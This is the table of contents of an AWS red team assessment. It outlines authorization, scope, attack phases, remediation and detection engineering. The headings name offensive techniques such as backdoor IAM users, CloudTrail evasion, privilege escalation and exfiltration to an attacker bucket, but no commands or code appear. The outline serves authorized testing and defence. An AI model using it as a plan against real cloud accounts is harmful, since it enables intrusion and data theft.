AWS Cloud Red Team Assessment

Table of Contents

1. Authorization & Legal

1.1 AWS Penetration Testing Policy

2. Scope Definition

2.1 In-Scope AWS Services

2.2 Out-of-Scope Items

2.3 Assumptions & Dependencies

3. Methodology

3.1 Attack Lifecycle Phases

3.2 Tools & Frameworks

3.3 Prerequisites & Setup

4. Attack Scenarios & Technical Commands

Phase 1: Initial Access

Objective

1.1 Credential Discovery

1.2 EC2 Metadata Exploitation (IMDSv1)

1.3 Lambda Event Injection

Phase 2: Persistence

Objective

2.1 Create Backdoor IAM User

2.2 Lambda Persistence

2.3 EC2 Persistence

2.4 CloudTrail Evasion

Phase 3: Privilege Escalation

Objective

3.1 IAM PassRole Abuse

3.2 Create Access Key for Privileged User

3.3 Assume Role Escalation

3.4 Glue Job Escalation

3.5 DataSync Task Escalation

Phase 4: Lateral Movement

Objective

4.1 Cross-Account Access

4.2 VPC Peering Exploitation

4.3 Secrets Manager Access

4.4 RDS Database Access

4.5 SSM RunCommand Lateral Movement

4.6 EBS Snapshot Sharing

Phase 5: Data Exfiltration

Objective

5.1 S3 Transfer to Attacker Bucket

5.2 DNS Exfiltration via Route53

5.3 API Gateway Exfiltration

5.4 CloudFront Distribution Exfil

5.5 Glacier Archive Exfiltration

5. MITRE ATT&CK Mapping

Cloud-Specific Techniques

6. Risk Assessment

6.1 Risk Matrix

6.2 Risk Scoring Methodology

6.3 Common AWS Vulnerabilities

7. Remediation Recommendations

7.1 Immediate Actions (Critical)

IAM Security

S3 Security

CloudTrail & Logging

7.2 Short-Term Actions (High)

Network Segmentation

Secrets Management

7.3 Long-Term Actions (Medium)

Infrastructure as Code Security

Monitoring & Detection

8. Detection Engineering

8.1 CloudWatch Log Insights Queries

Detect IAM User Creation

Detect GuardDuty Disablement

Detect CloudTrail Tampering

Detect S3 Public Access Changes

8.2 GuardDuty Custom Detections

Anomalous IAM Activity

8.3 Security Hub Custom Insights

9. Appendix

9.1 AWS CLI Configuration Examples

Multi-Profile Setup

AWS CLI Config File

9.2 Pacu Module Reference

9.3 Useful AWS CLI One-Liners